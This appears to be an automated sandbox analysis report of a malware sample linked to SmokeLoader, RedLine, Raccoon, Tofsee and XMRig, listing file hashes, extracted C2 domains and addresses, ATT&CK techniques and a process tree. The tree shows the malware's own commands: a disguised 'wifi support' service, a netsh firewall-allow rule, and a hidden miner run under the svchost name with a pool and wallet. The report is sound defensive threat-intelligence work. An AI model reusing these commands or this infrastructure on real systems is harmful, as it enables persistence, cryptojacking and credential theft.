Overview

overview

10

Static

static

a88886756e...f6.exe

windows7_x64

10

a88886756e...f6.exe

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    133s
  • platform
    windows7_x64
  • resource
    win7-en-20210920
  • submitted
    25-09-2021 23:45

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    a88886756e87735339ab0d3d553263f6.exe

  • Size

    149KB

  • MD5

    a88886756e87735339ab0d3d553263f6

  • SHA1

    affbfe893d1da0c3120a2228eebba1814984be41

  • SHA256

    89bad428ef1f3d8d2217fa8fbf5421824383232f60c1d72fb4ad80ee0c56663f

  • SHA512

    29a446b7ebf82cf5c6fa878a37da35a6aa0d8969223d91c8e316eb2518e3c9d333aadbc414a81f56a757c2d8547ac932142e454ea83a9eb9d364bf7271a3d36e

Score
10/10
raccoonredlinesmokeloadertofseexmrig5ff0ccb2bc00dc52d1ad09949e9c7663bc9ca4d4qqbackdoordiscoveryevasioninfostealerminerpersistencespywarestealerthemidatrojan

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://naghenrietti1.top/

http://kimballiett2.top/

http://xadriettany3.top/

http://jebeccallis4.top/

http://nityanneron5.top/

http://umayaniela6.top/

http://lynettaram7.top/

http://sadineyalas8.top/

http://geenaldencia9.top/

http://aradysiusep10.top/
rc4.i32
rc4.i32

Extracted

Family

redline

Botnet

qq

C2

135.181.142.223:30397

Extracted

Family

raccoon

Botnet

5ff0ccb2bc00dc52d1ad09949e9c7663bc9ca4d4

Attributes
  • url4cnc

    https://t.me/agrybirdsgamerept

rc4.plain
rc4.plain

Signatures

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

    stealerraccoon
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine Payload 3 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
    evasion
  • XMRig Miner Payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Downloads MZ/PE file
  • Executes dropped EXE 8 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 2 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    evasiontrojan
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of FindShellTrayWindow 6 IoCs
  • Suspicious use of SendNotifyMessage 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a88886756e87735339ab0d3d553263f6.exe
    "C:\Users\Admin\AppData\Local\Temp\a88886756e87735339ab0d3d553263f6.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1116
    • C:\Users\Admin\AppData\Local\Temp\a88886756e87735339ab0d3d553263f6.exe
      "C:\Users\Admin\AppData\Local\Temp\a88886756e87735339ab0d3d553263f6.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:832
  • C:\Users\Admin\AppData\Local\Temp\E90.exe
    C:\Users\Admin\AppData\Local\Temp\E90.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1664
    • C:\Users\Admin\AppData\Local\Temp\E90.exe
      C:\Users\Admin\AppData\Local\Temp\E90.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:1188
  • C:\Users\Admin\AppData\Local\Temp\118D.exe
    C:\Users\Admin\AppData\Local\Temp\118D.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:796
    • C:\Users\Admin\AppData\Local\Temp\118D.exe
      C:\Users\Admin\AppData\Local\Temp\118D.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:472
  • C:\Users\Admin\AppData\Local\Temp\1852.exe
    C:\Users\Admin\AppData\Local\Temp\1852.exe
    1⤵
    • Executes dropped EXE
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of AdjustPrivilegeToken
    PID:676
  • C:\Users\Admin\AppData\Local\Temp\1F45.exe
    C:\Users\Admin\AppData\Local\Temp\1F45.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:788
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\oephortd\
      2⤵
        PID:1096
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\rdpxxixf.exe" C:\Windows\SysWOW64\oephortd\
        2⤵
          PID:1432
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create oephortd binPath= "C:\Windows\SysWOW64\oephortd\rdpxxixf.exe /d\"C:\Users\Admin\AppData\Local\Temp\1F45.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:556
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description oephortd "wifi internet conection"
            2⤵
              PID:1744
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start oephortd
              2⤵
                PID:1632
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1900
              • C:\Users\Admin\AppData\Local\Temp\340E.exe
                C:\Users\Admin\AppData\Local\Temp\340E.exe
                1⤵
                • Executes dropped EXE
                PID:1064
              • C:\Windows\SysWOW64\oephortd\rdpxxixf.exe
                C:\Windows\SysWOW64\oephortd\rdpxxixf.exe /d"C:\Users\Admin\AppData\Local\Temp\1F45.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                PID:1056
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  PID:1436
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1764

              Network

              MITRE ATT&CK Matrix ATT&CK v6

              Initial Access

              Execution

              Persistence

              New Service

              1
              T1050

              Modify Existing Service

              1
              T1031

              Registry Run Keys / Startup Folder

              1
              T1060

              Privilege Escalation

              New Service

              1
              T1050

              Defense Evasion

              Disabling Security Tools

              1
              T1089

              Modify Registry

              2
              T1112

              Virtualization/Sandbox Evasion

              1
              T1497

              Credential Access

              Credentials in Files

              2
              T1081

              Discovery

              Query Registry

              4
              T1012

              Virtualization/Sandbox Evasion

              1
              T1497

              System Information Discovery

              4
              T1082

              Peripheral Device Discovery

              1
              T1120

              Lateral Movement

              Collection

              Data from Local System

              2
              T1005

              Exfiltration

              Command and Control

              Impact

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Temp\118D.exe
                MD5

                8df6ef1e48d3a33226c91bf4a93b0c8a

                SHA1

                e70ed102babe577b9481be056cb8cc0564bdc669

                SHA256

                5c08f9fc48f867d84001477316d7235e73483cc3fc6ac0f94ebd68564da016cd

                SHA512

                d5e021bfd927ebd9ce585bafe88970ea576f4e27752940e087a03d18568787d7442735495703cd8c02a4988e4ab13fcfc089956c9b109d250227b947b8dab1d0

                Download Submit
              • C:\Users\Admin\AppData\Local\Temp\118D.exe
                MD5

                8df6ef1e48d3a33226c91bf4a93b0c8a

                SHA1

                e70ed102babe577b9481be056cb8cc0564bdc669

                SHA256

                5c08f9fc48f867d84001477316d7235e73483cc3fc6ac0f94ebd68564da016cd

                SHA512

                d5e021bfd927ebd9ce585bafe88970ea576f4e27752940e087a03d18568787d7442735495703cd8c02a4988e4ab13fcfc089956c9b109d250227b947b8dab1d0

                Download Submit
              • C:\Users\Admin\AppData\Local\Temp\118D.exe
                MD5

                8df6ef1e48d3a33226c91bf4a93b0c8a

                SHA1

                e70ed102babe577b9481be056cb8cc0564bdc669

                SHA256

                5c08f9fc48f867d84001477316d7235e73483cc3fc6ac0f94ebd68564da016cd

                SHA512

                d5e021bfd927ebd9ce585bafe88970ea576f4e27752940e087a03d18568787d7442735495703cd8c02a4988e4ab13fcfc089956c9b109d250227b947b8dab1d0

                Download Submit
              • C:\Users\Admin\AppData\Local\Temp\1852.exe
                MD5

                f853fe6b26dcf67545675aec618f3a99

                SHA1

                a70f5ffd6dac789909ccb19dfb31272a520c7bc0

                SHA256

                091ba447af0f0cabd66484b3f81e909ca01be4e27db9ccf42779174e04dad57a

                SHA512

                4764e88d5bdcf88447e0782c88fec18f5a1083b460829e16635a8602173f1a6813d3ff93866bef587f9f9b682451d4386bd765b2da580c69f7483b48f074bbd3

                Download Submit
              • C:\Users\Admin\AppData\Local\Temp\1F45.exe
                MD5

                ef9919f9069d7dbc5dd623483cb4cab5

                SHA1

                15dc95800da86f01c4ab3461f5d1549e3804d490

                SHA256

                ee8971669604d991bb835184b977c9d2c7fb8d24da37d4c4006e12719578b121

                SHA512

                af859aa71534c3359e6dd88a86239046b34c43809a6cf35a067ab2bb114b509625f430ff7c24ddefbd5b16802cd12095cd224801102985607e3f73008eec9698

                Download Submit
              • C:\Users\Admin\AppData\Local\Temp\1F45.exe
                MD5

                ef9919f9069d7dbc5dd623483cb4cab5

                SHA1

                15dc95800da86f01c4ab3461f5d1549e3804d490

                SHA256

                ee8971669604d991bb835184b977c9d2c7fb8d24da37d4c4006e12719578b121

                SHA512

                af859aa71534c3359e6dd88a86239046b34c43809a6cf35a067ab2bb114b509625f430ff7c24ddefbd5b16802cd12095cd224801102985607e3f73008eec9698

                Download Submit
              • C:\Users\Admin\AppData\Local\Temp\340E.exe
                MD5

                a947b436c8c302b6cb6deedfa565442f

                SHA1

                d5a394e4f91bc5a667ccc9701e844cbdee075ee9

                SHA256

                8fa2f31a5a0c1ecf0860d4fde78193a5dfe3634916067d8e49abba0e1bf9bbd0

                SHA512

                1104e706cd4ebfd28b7bd7362507ea4290b55e23596a4a13d199261f4d444d8ae066a7a1960ad848c640b84d2e1aa4814719d727a6cf85f5ae7d4a3c5cc934ca

                Download Submit
              • C:\Users\Admin\AppData\Local\Temp\E90.exe
                MD5

                216609a9fb41618563d5f64f9f43b09a

                SHA1

                fbaebb46289ff0b4fd7e952996d2926b7b5c2ae2

                SHA256

                d10efd5aadc823119edafc84d2451804a256fb53c625763bb801059fd473b1e6

                SHA512

                fcea381d7d0ee3ef088a69340c74987d8d938ada3c4cda17d9600a92c07829df0fdda1880f677de5064eae15a2e78be7f929ea06efeb637002d34fe010dd1c0a

                Download Submit
              • C:\Users\Admin\AppData\Local\Temp\E90.exe
                MD5

                216609a9fb41618563d5f64f9f43b09a

                SHA1

                fbaebb46289ff0b4fd7e952996d2926b7b5c2ae2

                SHA256

                d10efd5aadc823119edafc84d2451804a256fb53c625763bb801059fd473b1e6

                SHA512

                fcea381d7d0ee3ef088a69340c74987d8d938ada3c4cda17d9600a92c07829df0fdda1880f677de5064eae15a2e78be7f929ea06efeb637002d34fe010dd1c0a

                Download Submit
              • C:\Users\Admin\AppData\Local\Temp\E90.exe
                MD5

                216609a9fb41618563d5f64f9f43b09a

                SHA1

                fbaebb46289ff0b4fd7e952996d2926b7b5c2ae2

                SHA256

                d10efd5aadc823119edafc84d2451804a256fb53c625763bb801059fd473b1e6

                SHA512

                fcea381d7d0ee3ef088a69340c74987d8d938ada3c4cda17d9600a92c07829df0fdda1880f677de5064eae15a2e78be7f929ea06efeb637002d34fe010dd1c0a

                Download Submit
              • C:\Users\Admin\AppData\Local\Temp\rdpxxixf.exe
                MD5

                bfe20ba2b30685fea2fdcd2a89dd977d

                SHA1

                3a084c355532ce2cc91e1618c5a7b90ce8242696

                SHA256

                55f9140e1e90815e61a8f56b9475e5235f7d8845990907d7409ebee8f97e801a

                SHA512

                d6f07c8cbb1c680a9d15f11d8786d2ef695d639ad385f8f8b95095c6e8844ba049f1583116a699091d192ecdac672443a70c46ddc2ed4fee026ebbe61a5a5aef

                Download Submit
              • C:\Windows\SysWOW64\oephortd\rdpxxixf.exe
                MD5

                bfe20ba2b30685fea2fdcd2a89dd977d

                SHA1

                3a084c355532ce2cc91e1618c5a7b90ce8242696

                SHA256

                55f9140e1e90815e61a8f56b9475e5235f7d8845990907d7409ebee8f97e801a

                SHA512

                d6f07c8cbb1c680a9d15f11d8786d2ef695d639ad385f8f8b95095c6e8844ba049f1583116a699091d192ecdac672443a70c46ddc2ed4fee026ebbe61a5a5aef

                Download Submit
              • \Users\Admin\AppData\Local\Temp\118D.exe
                MD5

                8df6ef1e48d3a33226c91bf4a93b0c8a

                SHA1

                e70ed102babe577b9481be056cb8cc0564bdc669

                SHA256

                5c08f9fc48f867d84001477316d7235e73483cc3fc6ac0f94ebd68564da016cd

                SHA512

                d5e021bfd927ebd9ce585bafe88970ea576f4e27752940e087a03d18568787d7442735495703cd8c02a4988e4ab13fcfc089956c9b109d250227b947b8dab1d0

                Download Submit
              • \Users\Admin\AppData\Local\Temp\E90.exe
                MD5

                216609a9fb41618563d5f64f9f43b09a

                SHA1

                fbaebb46289ff0b4fd7e952996d2926b7b5c2ae2

                SHA256

                d10efd5aadc823119edafc84d2451804a256fb53c625763bb801059fd473b1e6

                SHA512

                fcea381d7d0ee3ef088a69340c74987d8d938ada3c4cda17d9600a92c07829df0fdda1880f677de5064eae15a2e78be7f929ea06efeb637002d34fe010dd1c0a

                Download Submit
              • memory/472-87-0x0000000004760000-0x0000000004761000-memory.dmp
                Filesize

                4KB

                Download
              • memory/472-83-0x000000000041C5CE-mapping.dmp
                Download
              • memory/472-82-0x0000000000400000-0x0000000000422000-memory.dmp
                Filesize

                136KB

                Download
              • memory/472-85-0x0000000000400000-0x0000000000422000-memory.dmp
                Filesize

                136KB

                Download
              • memory/556-96-0x0000000000000000-mapping.dmp
                Download
              • memory/676-77-0x0000000000C40000-0x0000000000C41000-memory.dmp
                Filesize

                4KB

                Download
              • memory/676-67-0x0000000000000000-mapping.dmp
                Download
              • memory/676-81-0x0000000005470000-0x0000000005471000-memory.dmp
                Filesize

                4KB

                Download
              • memory/788-79-0x0000000000000000-mapping.dmp
                Download
              • memory/788-90-0x0000000000220000-0x0000000000233000-memory.dmp
                Filesize

                76KB

                Download
              • memory/788-91-0x0000000000400000-0x00000000004AF000-memory.dmp
                Filesize

                700KB

                Download
              • memory/796-66-0x0000000004AA0000-0x0000000004AA1000-memory.dmp
                Filesize

                4KB

                Download
              • memory/796-63-0x0000000000B20000-0x0000000000B21000-memory.dmp
                Filesize

                4KB

                Download
              • memory/796-60-0x0000000000000000-mapping.dmp
                Download
              • memory/832-55-0x0000000075BF1000-0x0000000075BF3000-memory.dmp
                Filesize

                8KB

                Download
              • memory/832-54-0x0000000000402FA5-mapping.dmp
                Download
              • memory/832-53-0x0000000000400000-0x0000000000409000-memory.dmp
                Filesize

                36KB

                Download
              • memory/1056-111-0x0000000000400000-0x00000000004AF000-memory.dmp
                Filesize

                700KB

                Download
              • memory/1064-106-0x0000000000400000-0x00000000004F2000-memory.dmp
                Filesize

                968KB

                Download
              • memory/1064-105-0x0000000000220000-0x00000000002B0000-memory.dmp
                Filesize

                576KB

                Download
              • memory/1064-98-0x0000000000000000-mapping.dmp
                Download
              • memory/1096-92-0x0000000000000000-mapping.dmp
                Download
              • memory/1116-56-0x0000000000220000-0x0000000000229000-memory.dmp
                Filesize

                36KB

                Download
              • memory/1188-73-0x0000000000402FA5-mapping.dmp
                Download
              • memory/1336-95-0x0000000003F40000-0x0000000003F56000-memory.dmp
                Filesize

                88KB

                Download
              • memory/1336-57-0x00000000026A0000-0x00000000026B6000-memory.dmp
                Filesize

                88KB

                Download
              • memory/1432-93-0x0000000000000000-mapping.dmp
                Download
              • memory/1436-108-0x0000000000080000-0x0000000000095000-memory.dmp
                Filesize

                84KB

                Download
              • memory/1436-109-0x0000000000089A6B-mapping.dmp
                Download
              • memory/1632-100-0x0000000000000000-mapping.dmp
                Download
              • memory/1664-58-0x0000000000000000-mapping.dmp
                Download
              • memory/1744-97-0x0000000000000000-mapping.dmp
                Download
              • memory/1764-112-0x00000000000D0000-0x00000000001C1000-memory.dmp
                Filesize

                964KB

                Download
              • memory/1764-116-0x000000000016259C-mapping.dmp
                Download
              • memory/1900-102-0x0000000000000000-mapping.dmp
                Download